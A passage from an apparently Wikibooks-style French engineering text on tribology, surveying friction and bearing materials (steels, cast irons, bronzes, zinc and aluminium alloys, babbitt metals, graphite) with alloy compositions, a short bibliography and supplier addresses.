biaisé. Mais comment distinguer le bon grain de l'ivraie ? L'Histoire montre que les sociétés humaines n'ont progressé que pendant les périodes où les connaissances étaient mises en commun, où chacun pouvait s'enrichir du savoir des autres. En France, le [[w:siècle des Lumières|siècle des Lumières]] et les [[w:Trente glorieuses|Trente glorieuses]] en sont d'excellents exemples. Que chacun fasse la petite expérience suivante, juste pour voir : # Lancer son moteur de recherche préféré sur la piste du mot « tribologie », # Explorer les 50 premiers liens (les suivants ne donneront pas grand chose de plus), # Se donner la peine de réfléchir aux conséquences, en particulier pour le travail des professeurs, du passage de l'information dans les circuits commerciaux. == Documents généraux == d'AGRAIVES, B.C. .- Présentation d'un programme d'étude comparative sur les mesures du coefficient de frottement. In : Revue française de mécanique, n° 6, 1978. p. 31-42. ARMBRUSTER, M. .- Le contrôle qualité et la tribologie. In : Revue pratique du contrôle industriel, n° 131, Février 1985, p. 28-34. BAGLIN, R. .- Vibrations produites en entretenues par le frottement. In : Mécanique Matériaux Électricité, avril 1970, p. 29-43. BOWDEN et TABOR .- Friction et lubrification .- Paris, Dunod, 1956. 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L'alliage de frottement que vous attendiez : CDF 36 .- CODARI-DUBRU, 96 à 104, Bd Robespierre, 78301 POISSY. Paliers DRY STAR : TECHNIMATIC, 27, av. Etienne Audibert, B.P. 100, 60304 Senlis cedex Coussinets HP : Techné, Z.A. Les Haies - 69480 Morance en Beaujolais === Matériaux céramiques et inorganiques === CATHERIN, Jean-Yves .- Céramiques : attention à la mise au point . In : Techniques et équipements de production, n° 15, Janvier 1991, pp. 44-47. CZYCHOS, H., WOYDT, M., KLAFFKE, D. et LEXOW, J. .- Durability of ceramic parts, wear behaviour. In : Matériaux et techniques, mars 1989, p. 7-15. KAPSA, Philippe .- Comportement des céramiques en frottement-usure. In : Enjeux. n° 95, décembre 1988. MAIRE, J. et FOURRE, J. .- Applications modernes du carbone et du graphite dans le frottement sec avec ou sans passage de courant électrique. In : Revue française de mécanique, n° 67, 1978, p. 25-28. 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Parmi ces matériaux, on peut citer l'[[w:amiante|amiante]], le [[w:cadmium|cadmium]], le [[w:plomb|plomb]] ... La chasse aux solutions de substitution est ouverte ...''' <br /> <br /> Le lecteur trouvera ci-après des indications sur l'usage, dans le domaine du frottement, de divers matériaux spécifiques ou non. La liste n'en est évidemment pas exhaustive ! Un choix judicieux de matériaux de frottement doit tenir compte de facteurs très divers : * la sécurité de fonctionnement, qui est primordiale, * la durée de fonctionnement sans intervention, * la facilité de remplacement des pièces d'usure et de réparation, * le mode de graissage, * l'ambiance, * le coût de revient, compte tenu de l'achat, du montage, du rodage, de l'entretien, etc. Pour les mécanismes courants, on dispose d'un catalogue de solutions éprouvées par une longue pratique, ce qui n'interdit cependant pas d'avoir des idées. Il en va tout autrement pour les problèmes nouveaux : seule une vaste culture technique permet alors d'imaginer des solutions qu'il faudra toujours confronter aux dures réalités du service. Une riche documentation est d'autant plus indispensable que des nouveautés apparaissent chaque jour. Il faut aussi se méfier des idées reçues, par exemple confondre dureté et résistance à l'usure. En fait les matériaux durs sont toujours plus ou moins fragiles ([[w:céramique|céramique]]s, [[w:polymère|polymère]]s, [[w:composite|composite]]s) et leur utilisation en frottement est contrariée par une inéluctable tendance à la fissuration. La dureté est donc loin d'être le seul critère intéressant et en outre, on risque des erreurs importantes en voulant la déduire de la limite d'élasticité. Au contraire, le [[w:plomb|plomb]] qui paraît sans intérêt (il est mou, se coupe aisément, laisse des traces) possède de précieuses qualités : bas module d'élasticité, absence de fragilité, température de fusion modérée, excellente malléabilité, parfaite mouillabilité par l'huile, facilité de dépôt sur des surfaces dures, libération d'oxydes non abrasifs au contraire de ceux de l'étain. En l'associant convenablement on peut profiter à fond de ces avantages ... Un certain nombre de matériaux jouent ici des rôles particuliers : le plomb, que nous retrouverons souvent (rappelons que l'on peut détecter sa présence dans un alliage par l'odeur que prend un doigt frotté à la surface), le [[w:chrome|chrome]] et, en ce qui concerne les traitements, le [[w:soufre|soufre]]. == Alliages ferreux == === Aciers ordinaires ou faiblement alliés === Les [[w:acier|acier]]s créent aisément des [[w:solution solide|solutions solides]]. À sec, deux pièces d'acier non traité grippent quasi immédiatement. Il faut proscrire les structures homogènes, [[w:ferrite|ferrite]] et surtout [[w:austénite|austénite]]. Cette dernière s'accompagne souvent de tensions résiduelles favorables à l'usure. Il faut préférer la [[w:bainite|bainite]], la [[w:martensite|martensite]] et ses dérivés après [[w:traitement thermique|revenu|]] : [[w:sorbite|sorbite]], [[w:troostite|troostite]], [[w:perlite|perlite]] fine . . . Si la température de rodage est suffisante, l'austénite se transforme en une structure proche de la martensite, d'où l'intérêt de provoquer un certain échauffement pendant cette opération. Les traitements de [[w:galetage|galetage]], [[w:brunissage|brunissage]], sont recommandés, la présence d'une épaisse [[w:couche de Beilby|couche de Beilby]] étant souvent souhaitable. Pour faire frotter deux alliages ferreux on utilise des variétés allotropiques différentes, comme les structures martensitique de l'acier allié et ferrito-perlitique de la fonte grise non alliée. Les structures continues, de type solution solide, sont a priori défavorables et il faut absolument proscrire tout contact ferrite sur ferrite et surtout austénite sur austénite. Les aciers peuvent être [[w:Traitement anti-usure|traités]] de multiples façons. Parmi les plus couramment utilisés en frottement, citons les XC 38 f, XC 80, 35 CD 4, 100 C 6 trempés, XC 18 f, ou 18 CD 4 cémentés et trempés. Il en existe bien d'autres. La plupart contiennent un peu de chrome dont l'oxyde joue un rôle bénéfique. La plus grande dureté s'obtient avec des aciers de nitruration comme 30 CAD 6-12. Parmi les aciers moulables résistant à l'usure, notons : * les aciers au [[w:carbone|carbone]], peu coûteux, mais dont les couches superficielles trempées risquent l'écaillage, * les aciers au chrome et au chrome-molybdène qui devraient toujours être utilisés à la place des aciers au carbone pour le frottement. 1% de chrome améliore la résistance et la dureté, avec un léger gain en allongement et en résilience, Le [[w:molybdène|molybdène]] affine le grain, assure une meilleure pénétration de la trempe, donne aussi une meilleure cohésion des couches superficielles, * les aciers au [[w:nickel|nickel]]-chrome-molybdène qui sont par excellence les aciers résistants à l'usure. Ils ont de hautes caractéristiques mécaniques et une grande dureté, mais se montrent délicats à mouler, * les aciers mangano-[[w:silicium|siliceux]] et au manganèse qui ont de très bonnes qualités pour le frottement et l'usure mais leur faible résilience conduit parfois à des échecs cuisants . Dès que l'on augmente à la fois le carbone et le manganèse, il n'est plus possible d'obtenir des pièces de fonderie. L'acier au manganèse se comporte comme un vulgaire acier dur pour l'abrasion. === Aciers alliés ou spéciaux === Il faut réserver une place à part à l'acier Hadfield. Avec 12 % de manganèse et 1,2 % de carbone, cet acier austénitique inapte au frottement sans un conditionnement particulier adopte une structure martensitique par [[w:écrouissage|écrouissage]]. Il se protège en fait de l'usure moyennant ... une usure préalable ! Il faut donc prévoir une procédure spéciale pour l'utiliser avec profit ; on préconise la séquence suivante : [[w:moletage|moletage]], [[w:galetage|galetage]] qui parachève l'écrouissage, [[w:sulfuration|sulfuration]] à basse température. Ses applications sont nombreuses : articulations de ressorts à lames, de bennes de camions, de pelles mécaniques, de machines de fonderie, de machines agricoles ... === Aciers inoxydables === On ne peut pas toujours éviter l'usage d'aciers austénitiques. À chaud ou dans des ambiances corrosives, marines ou alimentaires, des aciers martensitiques tels que Z 100 C 17 ou austénitiques comme Z 8 CNDT 18-12 sont utilisables malgré les risques de grippage. Autant que possible, les zones frottantes doivent alors être revêtues de chrome dur. === Aciers à usinabilité améliorée === Les phénomènes intervenant lors de l'usinage sont liés au frottement interne du matériau qui se déforme et au frottement sur l'outil. Le plomb et le soufre facilitent le fractionnement des copeaux et lubrifient les surfaces de coupe des outils. On utilise, surtout en [[w:décolletage|décolletage]], des aciers resulfurés (S = 0,075 %) avec contrôle de la forme des inclusions de sulfures, des aciers au plomb (Pb = 0,2 %) ou des aciers resulfurés au plomb. === Fontes de frottement === La fonte grise possède d'intéressantes propriétés de frottement à condition qu'elle soit correctement usinée et non revêtue d'un « manteau de tôle » (fish-scale skin en anglais) provoqué par un écrouissage excessif. Les risques de grippage sont minimisés car la fonte n'est pas auto-soudable. C'est aussi un matériau intéressant par son coût de revient très bas. Le [[w:graphite|graphite]] libéré par l'usure est un bon lubrifiant solide. La meilleure teneur avoisine 3,2 %. On ne sait sous quelle forme le préférer, lamellaire ou globulaire, mais sa répartition doit être homogène et sa structure fine. Arraché par l'usinage, il laisse des micro-réserves de graissage. La surface doit être d'autant mieux finie que la fonte est plus dure. La présence d'[[w:eutectique phosphoreux|eutectique phosphoreux]] améliore la résistance à l'usure, surtout quand il a une structure en réseau continu. La meilleure structure pour une fonte de frottement semble être la perlite de la fonte grise lamellaire. Les fontes GS à structure ferritique grippent très facilement. Préférer par conséquent les fontes perlitiques, sorbitiques ou mieux martensitiques à graphite lamellaire avec trempe superficielle. Sous fortes charges, on peut utiliser la fonte bainitique à graphite lamellaire ou la fonte GS aciculaire. Certaines fontes spéciales avec du chrome, de l'[[w:aluminium|aluminium]] ou du molybdène ont une meilleure résistance à l'usure. Les fontes blanches martensitiques, parfois alliées avec du molybdène, du [[w:vanadium|vanadium]] ou du [[w:carbure de chrome|carbure de chrome]], sont préconisées contre l'abrasion. Les pièces de frottement en fonte sont rigides et en cas de doute sur les déformations des mécanismes il faut les monter sur rotules. Les charges et les vitesses de glissement doivent rester modérées. Le rodage est long, et amélioré si l'on a pratiqué un traitement du type Sulfinuz ou Tenifer. La fonte est compatible avec les pièces chromées dur. == Alliages cuivreux == === Bronzes à l'étain === De 6 à 15 % d'[[w:étain|étain]] donnent au [[w:cuivre|cuivre]] dureté et résistance à l'usure grâce au constituant Cu4Sn dont la dureté Brinnell atteint 300. Davantage d'étain donnerait un métal fragile. Les propriétés des bronzes varient selon leur composition et leur microstucture. À teneur en étain égale, les structures grossières obtenues en moulage au sable s'usent moins que celles, plus fines, obtenues en moules métalliques. La conductivité thermique décroît très vite quand la proportion d'étain augmente. La présence obligée de 0,05 à 0,5 % de phosphore élimine l'oxyde Cu2O qui favorise l'écaillage. Elle améliore le frottement, la résistance à l'usure et la sécurité vis-à-vis du grippage. On trouve aussi des traces de [[w:zinc|zinc]], de plomb, de nickel ou de fer. Le frottement sur l'acier est fondamentalement régi par deux sortes de phénomènes : * un mécanisme direct, sous faibles charges, pour les bronzes à structure grossière : adhésion et abrasion par certaines phases du bronze, qui donnent des débris noirâtres où dominent les oxydes de fer, * une usure par transfert intermédiaire, les bronzes à structure grossière sous fortes charges adhèrent à l'acier, sur lequel ils forment une couche mince riche en étain et en fer. Si leur structure est fine il se produit une abrasion par des grains détachés comme dans le cas d'un abrasif libre. Les bronzes à l'étain ne donnent de bons résultats que si on observe certaines prescriptions : l'acier antagoniste doit être très dur et les vitesses de glissement rester plutôt faibles. Il ne faut pas dépasser une température de 150 à 200 °C et tenir compte d'une assez grande incompatibilité avec les arbres chromés et la plupart des aciers inoxydables. En régime lubrifié, la présence d'acides gras réduit beaucoup le taux d'usure. Le moulage au sable des bronzes fournit, toutes choses égales par ailleurs, des pièces qui frottent mieux que si le moulage se fait en coquille. Un grand avantage des bronzes est qu'on les trouve sous toutes sortes de formes et de dimensions : jets, barres, tubes ... Ceci explique en grande partie leur utilisation fréquente pour les mouvements auxiliaires des machines. ===Alliages cuivreux contenant du plomb === Le plomb a un rôle déterminant, augmentant la capacité de charge, la tenue en température et la résistance à l'usure. Il doit être sous forme de fins globules séparés les uns des autres et non de « virgules » reliées les unes aux autres, pour prévenir la corrosion par les huiles de graissage. On relève de nombreux brevets et de remarquables fabrications. Les bronzes au plomb contiennent au moins 3 % d'étain pour élever la résistance mécanique et jusqu'à 8 % de plomb. Ce dernier, insoluble dans le cuivre, tend à se séparer lors de la coulée et contrairement aux bronzes à l'étain, l'élaboration est affaire de spécialistes. Les pièces en bronze au plomb doivent être très minces pour se refroidir vite et il faut vérifier la répartition du plomb en fines gouttelettes. La [[w:dureté|dureté]] des pièces antagonistes doit être très élevée, le comportement est excellent avec des arbres nitrurés. En cas de défaut de graissage, l'arbre est abîmé, ce qui n'arrive pas avec les « métaux blancs » que nous verrons plus loin. Les bronzes au plomb supportent assez bien le frottement à grande vitesse sous forte charge, mais la température ne doit pas dépasser 180 °C sous peine de déformations prohibitives. Ils sont très indiqués en face d'aciers inoxydables. Le Bearium Metal est un bronze au plomb avec une dispersion beaucoup plus fine que dans les fabrications traditionnelles. La cohésion est maintenue même à 800 °C Le cupro-plomb ou « métal rose » a une teneur en plomb très élevée, 25 à 45 %, avec une très faible teneur en étain (moins de 1 %). Une composition typique est Cu 70 %, Pb 29 %, Fe 1 %. Cet alliage, qui peut être refondu en conservant ses qualités, est homogénéisé par des additions de graphite et de [[w:terres rares|terres rares]].. En raison de la tendance du plomb et du cuivre à se séparer, l'utilisation se fait exclusivement sous forme de couches minces déposées sur un corps massif en acier. Attention, ces matériaux sont facilement corrodés à chaud par l'huile dégradée. Les cupro-plombs prennent un beau poli et en cas d'échauffement, le plomb exsude à la surface, empêchant le grippage. La dureté à froid est comparable à celle des antifrictions mais à chaud elle est bien supérieure. On les utilise, par exemple, dans les moteurs d'avions et de camions. === Bronzes divers === Les bronzes à l'[[w:aluminium|aluminium]] en contiennent de 9 à 10 %, avec 2,5 à 5 % de fer et des traces de manganèse, plomb ou nickel. Ces alliages peuvent être forgés ou moulés en coquille grâce à la formation d'une peau d'alumine, la coulée en sable est délicate et possible seulement avec des refroidisseurs. Les bronzes à l'aluminium ont une limite d'élasticité élevée. Ils résistent bien à de nombreux agents chimiques, y compris l'acide sulfurique à 10 % bouillant, et permettent de résoudre certains problèmes de frottement en milieu corrosif. Leur grande dureté oblige à employer des arbres en acier à haute résistance, éventuellement nitrurés. Il est très difficile des les étamer et on ne peut pas les garnir d'antifriction à base de plomb ou d'étain. Les bronzes au [[w:zinc|zinc]] en contiennent couramment de 4 à 5 %, mais parfois jusqu'à 30 %, avec de l'étain, du plomb, du [[w:phosphore|phosphore]]. Ils se présentent le plus souvent sous forme de bagues minces roulées, mais on trouve aussi divers types de profilés (Carobronze). Les bronzes au [[w:silicium|silicium]] ne méritent plus guère le nom de bronzes. On y trouve jusqu'à 5 % de silicium avec du zinc, du plomb, du fer, du manganèse. Leurs propriétés variées sont voisines de celles des cupro-aluminiums, dont ils n'ont pas les inconvénients : certains de ces alliages se moulent très bien en sable, d'autres sont très résistants à l'usure ou à la corrosion. Les bronzes au [[w:béryllium|béryllium]] en contiennent 2,3 %. Ils se distinguent par leur [[w:durcissement structural|durcissement structural]] après trempe, et des propriétés de grand intérêt : grande résistance à la traction, bonne conductibilité thermique, excellente résistance à l'usure avec fortes pressions et faibles déplacements. Il exigent des axes en acier à haute résistance, ou mieux cémentés ou nitrurés. === Laitons === Leur teneur en zinc varie de 15 à 40 %, avec parfois un peu de plomb. Ces alliages se trouvent sous forme de barres profilées de diverses formes, qui permettent par exemple d'obtenir des roues dentées de petites pompes à huile par simple tronçonnage. === Autres alliages cuivreux === Les alliages cuivre-étain-zinc n'ont pas grand intérêt par rapport aux bronzex si ce n'est leur faible coût de revient. À propos des alliages cuivre-étain-[[w:antimoine|antimoine]], beaucoup de sottises auraient été écrites sur l'influence de l'antimoine, s'il faut en croire les spécialistes. Les cupro-étain-silicium, intéressants par leur bas coût de revient (2,7 % de Si et 3 % d'étain remplacent 12 % d'étain), nécessitent des précautions spéciales lors du moulage. Les cupro-étain-nickel possèdent des propriétés mécaniques élevées après traitement. On y trouve de 2,3 à 5 % de nickel dans une composition de bronze. Les propriétés frottantes sont analogues à celles des bronzes classiques. Les alliages cuivre-nickel-silicium sont aptes au frottement sous très fortes charges et particulièrement résistants à l'usure. Ils servent par exemple pour les guides de soupapes de moteurs d'avions. Les alliages cuivre-[[w:cobalt|cobalt]]-béryllium possèdent une très bonne conductivité électrique et une tenue remarquable au frottement, ils sont utilisés pour les distributeurs d'alimentation pour turboréacteurs, les couronnes de rotor d'hélicoptères, ... Généralement les exigences de qualité imposent de les livrer sous forme de pièces forgées et non moulées. Les alliages cuivre-[[w:argent|argent]] sont particuliers : l'argent est soluble dans le cuivre jusqu'à 7 % et insoluble ensuite. Un film d'argent créé par le frottement à la surface du matériau se reconstitue en cas d'attaque. Les cupro-antimoine, délicats à élaborer, ont des propriétés de frottement voisines de celles des bronzes à l'étain. == Alliages à base de zinc == Les antifrictions à base de zinc ont été connus avant 1900 mais beaucoup de compositions sont maintenant abandonnées. Ceux qui contiennent de l'aluminium ne se soudent pas sur l'acier. Les alliages antifriction zinc-aluminium-cuivre et zinc-aluminium, connus avant 1939 sous le nom de Zamak, frottent bien grâce à la formation de [[w:savon|savon]]s avec les huiles de graissage. Le zinc réagit en effet nettement avec l'[[w:acide stéarique|acide stéarique]]. Avec 30 à 35 % d'aluminium et un peu de cuivre, on obtient des alliages moulables en coquille ou sous pression. Les charges peuvent être importantes, la densité est inférieure de 30 % à celle des bronzes avec une meilleure conductivité thermique et un coût de revient beaucoup plus faible. Le coefficient de dilatation est toutefois très élevé et la température en service ne doit pas dépasser 90 °C. Le rodage doit être prolongé pour éviter le grippage. La présence d'impuretés, plomb et étain en particulier, produit une corrosion intercristalline et un gonflement qui peut aller jusqu'à la désagrégation. Les antifrictions zinc-antimoine-étain ont une résistance à la compression voisine de celle des bronzes. L'alliage allemand Glycometall contient 85,4 % de zinc, 2,4 % de cuivre, 5,5 % d'étain, 4,7 % de plomb, 2 % d'aluminium. == Alliages à base d'aluminium == Ils ont été d'abord utilisés dans les périodes de pénurie où certains métaux comme le cuivre et l'étain étaient devenus introuvables ou hors de prix. Actuellement ils sont très répandus, en particulier dans l'industrie automobile, depuis qu'on sait les souder sur des feuillards d'acier pour fabriquer des coussinets roulés. Dans ce dernier cas, en effet, le coefficient de dilatation très élevé passe inaperçu. Dans les carters en aluminium, il faut au contraire les utiliser sous forme d'éléments massifs pour conserver la qualité des ajustements. Ces alliages sont très économiques. Leur dureté et leur capacité de charge élevée sur les aciers impose que ces derniers soient traités, voire cémentés ou nitrurés. Ils ont une excellente conductivité thermique, leur basse limite d'élasticité dans le cas de pièces massives leur donne une capacité d'absorption des particules étrangères comparable à celle des cupro-plombs. Ils ne doivent pas contenir de silicium libre qui est très dur et qui raye les pièces antagonistes !!! Les alliages aluminium-étain permettent de bénéficier des qualités de l'aluminium (bas [[w:module de Young|module de Young]], excellente conductivité thermique) en évitant par incorporation d'étain sa fâcheuse tendance aux soudures épidermiques. On sait aujourd'hui en incorporer de 5 à 20 % tout en conservant des caractéristiques mécaniques correctes, et l'on y trouve aussi un peu de cuivre, de nickel, de silicium, d'antimoine ou de [[w:magnésium|magnésium]]. Les alliages américains sont nommés Alcoas, en France la Société Industrielle des Coussinets commercialise les Sical. Ces alliages peuvent remplacer systématiquement les bronzes en régime onctueux. Accrochés sur l'acier pour la garniture de coussinets multicouches, ils subissent un premier dépôt électrolytique de plomb et d'étain, lui-même recouvert d'un film d'argent ou d'[[w:indium|indium]] que l'on fait diffuser. Le Main-Metall est un alliage d'aluminium, zinc, cuivre et silicium, d'obtention allemande, qui possède un système cristallin fin et homogène. Il associe à des qualités de frottement intéressantes des qualités mécaniques supérieures à celles des fontes ordinaires et des alliages légers classiques. Il peut être coulé en coquille ou sous pression, ce qui est un énorme avantage sur les bronzes en raison des économies de copeaux. L'antagoniste idéal semble être un acier nitruré et sulfinuzé. Il ne faut pas dépasser 100 °C en service. On trouve encore des alliages antifriction de types divers : aluminium-cuivre, aluminium-silicium et aluminium-cuivre-nickel-magnésium. == Alliages antifriction ou régules == Babbitt breveta en 1835 des alliages qui sont encore très utilisés malgré la concurrence de matériaux plus modernes. Un alliage antifriction devrait être plastique pour s'adapter aux défauts d'alignement et aux déformations tout en étant dur et résistant en compression, ce qui est antagoniste. Charpy indiqua en 1898 que la structure idéale était une matrice molle enrobant des grains durs. La première permet l'adaptation et l'incrustation de débris abrasifs, les seconds supportent les charges, leur enfoncement dans la matrice égalisant les pressions. Encore appelés '''métaux blancs''' ou '''alliages Babbitt''', ces matériaux à bas point de fusion, relativement mous, sont utilisés en couches épaisses de plusieurs mm sur des pièces massives en bronze, fonte ou acier. L'accrochage se fait facilement par soudure, au besoin sur un dépôt d'étain. Il faut autant que possible éviter l'accrochage par des retenues en queue d'aronde qui provoquent une déformation et une usure irrégulières. Les régules se rodent vite et supportent les défauts d'alignement et les déformations des pièces antagonistes plus dures dont ils épousent les moindres détails (l'acier non traité suffit). Ils ont une bonne capacité de charge dynamique, une bonne résistance à l'usure, à la fatigue, à la corrosion et au grippage, une bonne conductivité thermique. Ils sont bien mouillés par les lubrifiants et peuvent absorber d'éventuelles impuretés abrasives. Leur coefficient de dilatation et leur retrait de solidification sont toutefois assez élevés. Ces alliages ont une bonne sécurité de fonctionnement : en cas de problème majeur, ils fondent, ce qui évite souvent de graves avaries en particulier sur les portées d'arbres. On peut facilement recharger les pièces usées ou détériorées. Les innombrables variétés d'antifrictions appartiennent pour l'essentiel à trois familles : les alliages à base de plomb, ceux à base d'étain et les plombs durcis. Les alliages à base de plomb sont généralement plus fragiles, moins durs mais aussi moins chers que ceux à base d'étain. Ils sont aussi beaucoup plus sensibles à la corrosion par les huiles acides et il est bon de les protéger par un dépôt d'indium. La base étain est préférable quand les charges statiques sont élevées, la base plomb quand la vitesse est faible. Si l'on craint les efforts alternés, il faut employer les antifrictions sensibles à la fatigue sous forme de couches minces de 0,6 à 0,8 mm d'épaisseur. Leur température limite d'utilisation se situe aux environs de 100 à 150 °C. === Antifrictions à base de plomb === Ils contiennent de 50 à 95 % de plomb et toujours de l'antimoine, de 4 à 22 %, pour augmenter la dureté. On trouve ensuite jusqu'à 40 % d'étain, moins de 4 % de cuivre, parfois 1 à 3 % d'[[w:arsenic|arsenic]] pour améliorer la tenue à chaud et un peu de nickel, de [[w:cadmium|cadmium]] ou de [[w:bismuth|bismuth]]. Alliages plomb-étain-antimoine : l'étain forme avec l'antimoine la combinaison SbSn en cristaux cubiques relativement durs et enchâssés dans une matrice tendre. L'étain, de 5 à 12 %, améliore les caractéristiques mécaniques et l'antimoine, de 12 à 18 %, la dureté. On ajoute souvent du nickel, mais pas trop sous peine de graves mécomptes par usure abrasive. La présence de [[w:sodium|sodium]] procure une structure plus fine et un peu de [[w:graphite|graphite]], des propriétés autolubrifiantes utiles en cas de panne de graissage. Le cadmium, à raison de 1 à 2 %, donne aux [[w:eutectique|eutectique]]s formés une grande finesse. Moins de 1 % de cuivre suffit à augmenter la dureté. Une composition type serait : Pb 80 %, Sn 6 %, Sb 14 %. À titre d'exemple, le Lager Metal Thermit contient : Pb 75 %, Sn 6,5 %, Sb 15 % avec des additions faibles de Cd, Cu, Ni, As. Alliages plomb-antimoine : ils contiennent au moins 12 % d'antimoine pour être assez durs mais jamais plus de 25 % pour ne pas être cassants. === Antifrictions à base d'étain === On y trouve de 60 à 90 % d'étain, presque toujours avec de l'antimoine, de 4 à 11 %, et de 1 à 10 % de cuivre. On y trouve assez souvent du nickel et parfois un peu de plomb. Ces alliages ont une bonne plasticité qui leur permet d'absorber les particules abrasives, résistent bien à la corrosion et se polissent facilement par usinage. On note comme inconvénients un manque de dureté à chaud et de résistance à la fatigue, et un prix prix élevé. Une composition type ressemble par exemple à Sn 88 %, Cu 4 %, Sb 8 %. Un alliage excellent pour les ambiances poussiéreuses contient : Sb 20 %, Sn 75 %, Pb 2-3 %, Cu le solde. === Plombs durcis === Ils sont surtout répandus en Allemagne. Un très fort pourcentage de plomb (de 96 à 99 %) est allié avec des métaux alcalins ou alcalino-terreux : toujours un peu de [[w:calcium|calcium]] pour la dureté, du [[w:baryum|baryum]], du sodium, du [[w:lithium|lithium]], du potassium, éventuellement du magnésium ou même de l'aluminium. La préparation de ces alliages est délicate mais ils ont d'excellentes qualités frottantes et une assez grande dureté. Ils sont très économiques mais facilement attaqués par les huiles. Notons aussi qu'ils perdent l'essentiel de leurs propriétés par refusion à cause de la perte au feu. Voici quelques exemples : - FRARY : Ca 1 %, Ba 2 %, - SATCO : Sn 2,4 %, Ca 0,15 %, K 0,07 %, - SATCO : Sn 1,5-2 %, Ca 0,5 %, Ni 0,5 %, traces d'Al, Li, Hg, - LURGI : Ca 0,4 %, Ba 2,8 %, Ni 0,3 %, - BAHNMETAL : Ni 0,6 %, Ca 0,7 %, Li 0,06 %, Al 0,02 %, - AKRON : Ca 0,75 %, Ni 0,5 %, Li 0,04 %, Pb le solde. == Métaux de frottement divers == On ne peut les citer tous. Parmi eux : * plusieurs alliages de [[w:titane|titane]] sont irremplaçables pour certains problèmes de corrosion ou de température élevée. * le [[w:cadmium|cadmium]] employé à partir de 1935 comme base d'alliages antifriction avait alors un prix très inférieur à celui de l'étain, actuellement c'est tout le contraire et de plus, il est très toxique ! Le cadmium adhère bien sur l'acier, le bronze et le laiton. Facilement attaqué par certaines huiles de graissage, on le protège comme le plomb par une couche d'[[w:indium|indium]]. Les alliages contiennent du nickel, de 1,35 % (Arsarcalloy américain) à 3 %, ou 3 % de cuivre. Ce dernier est très oxydable à la fusion, ce que l'on corrige par un peu d'argent ou, au détriment de l'adhérence sur l'acier, par de l'aluminium. * les antifrictions à base d'argent, étudiés pendant la guerre en Allemagne. L'argent allié au cadmium ou mieux au plomb ou à l'antimoine, résiste mieux au grippage que s'il est pur et possède alors une capacité de charge supérieure à celle du cupro-plomb. Malgré leur prix élevé, ces alliages ont été employés aux USA sur des moteurs d'avions et de chars sous forme de coussinets d'acier plaqués par coulée et laminage. == Carbones et graphite == Les [[w:carbone|carbone]]s sont traités vers 1000 à 1200 °C, les [[w:graphite|graphite]]s vers 2500-3000 °C. Ces produits très divers, massifs, composites, souples, ... caractérisés par leur grande inertie chimique et leur capacité de fonctionner à sec, sont inégalables dans de multiples circonstances : * au-dessus de 100-150°C, * en milieu corrosif, * pour éviter toute contamination par les lubrifiants, * si une solution avec lubrification est trop chère, * si les points à lubrifier sont inaccessibles, * si l'on recherche la légèreté, * ou si le fonctionnement lubrifié est incertain. * ... On a coutume de distinguer les graphites selon leur origine, naturelle ou de synthèse mais il existe dans chacune de ces deux catégories des produits fort différents : * Les graphites naturels peuvent être « macrocristallins » et donc être composés de gros cristaux bien formés, ou bien « microcristallins » ou même amorphes. Il se distinguent aussi par quantité d'impuretés qu'ils contiennent et par la nature de ces impuretés. * Les graphites synthétiques de la meilleure qualité, dits « primaires », sont obtenus en chauffant à très haute température, environ 3000°, des matières premières très pures. D'autres, dits « secondaires », sont obtenus en traitant pendant de très longues durées (parfois plus d'un mois) des mélanges de [[w:coke|coke]], de [[w:brai|brai]], de [[w:goudrons|goudrons]], ... et leur structure cristalline n'est pas toujours optimale. Seuls les graphites naturels macromoléculaires et les graphites synthétiques primaires sont utilisables dans le domaine du frottement. Encore faut-il qu'ils ne contiennent d'impuretés abrasives telles que le [[w:quartz|quartz]], l'[[w:alumine|alumine]], etc. Notons cependant que pour certaines applications très particulières, on introduit volontairement dans des graphites synthétiques spéciaux un faible pourcentage de particules abrasives de manière à créer une usure douce qui va se révéler protectrice vis-à-vis d'autres formes d'usure beaucoup plus destructrices. Les carbones et graphites sont de bons lubrifiants grâce aux produits [[w:adsorption|adsorbés]]. Le coefficient de frottement sur les métaux atteint 0,5 après dégazage, ce qui est très élevé, mais il s'abaisse très fortement en présence d'[[w:oxygène|oxygène]] et surtout de vapeur d'eau. Ceci vaut également pour l'usure : à haute altitude, la vitesse de dégradation des balais de moteurs électriques est multipliée par 100 ou plus. Malgré cela, il n'y a jamais de véritable grippage. Le graphite est indiqué en cas de frottement sec mais aussi avec [[w:lubrification|lubrification]]. On peut par exemple construire des roulements avec des billes en acier et des billes en carbone qui procurent une certaine lubrification avec ou sans graisse. Le graphite polycristallin traité contre l'oxydation est utilisé à sec sous forme de blocs jusque vers 400-600°C dans l'air et, en atmosphère réductrice, jusqu'à 1 000°C. Les [[w:frein|frein]]s d'avions atteignent cette température sans traitement dans l'air mais pendant des temps très courts. Il s'agit là de [[w:matériau composite|composites]] carbone-carbone dont le comportement est excellent contre l'acier. Les carbones et graphites permettent de réaliser d'excellents joints d'[[w:étanchéité|étanchéité]] capables de remplir leur fonction à sec et à haute température. Les formes possibles sont des anneaux, mis en contact axialement sur la pièce antagoniste également annulaire, ou alors un ensemble de [[w:segment|segment]]s rappelés en contact sur un arbre par des [[w:ressort|ressort]]s, avec des formes qui peuvent être passablement compliquées. Les carbones sont rarement utilisés purs dans les coussinets, mais plutôt en combinaison avec du plomb et du cuivre. Il faut toujours prendre garde aux dilatations différentielles : en effet, ils se dilatent très peu et il faut prévoir des fixations spéciales pour les pièces massives si la température est élevée. La firme américaine '''Graphite Metallizing Corporation''' propose sous la marque Graphalloy ® une série de matériaux capables de frotter à sec dans une large gamme de températures (de -240º à 800º C). Ces matériaux sont vendus sous forme de pièces standard comme des coussinets ou des frotteurs et sont utilisables pour de très nombreuses applications. Voir [http://www.graphalloy.com/] == Céramiques == Divers auteurs font remarquer que les utilisations des [[w:céramique|céramique]]s en frottement ne reposent aujourd'hui que sur des critères subjectifs : par exemple, leur dureté est souvent considérée comme synonyme de bonne résistance à l'usure et au frottement, mais c'est loin d'être évident. En fait, de nombreuses questions n'ont pas encore reçu de réponse et la bibliographie est parfois totalement contradictoire et en tous cas très insuffisante. Soyez circonspects à propos des informations publiées à partir de certaines sources, car les céramiques sont des matériaux « sensibles » sur lesquels, entre autres, les militaires gardent un œil attentif. Il peut se faire que les données mises à disposition du « public » soient volontairement tronquées ou biaisées. Si pour un même matériau, utilisé dans les mêmes conditions, vous trouvez des conclusions différentes, vous pouvez déduire assez facilement que l'une au moins de vos deux sources ment. On a la certitude que l'oxydation des céramiques joue un grand rôle dans le frottement. Toutefois, les mécanismes d'adhésion sont encore très mal élucidés, en particulier les transferts métal-céramique et céramique-céramique qui peuvent former des 3e corps utiles ou au contraire nuisibles au frottement ... Les céramiques sont utilisées sous 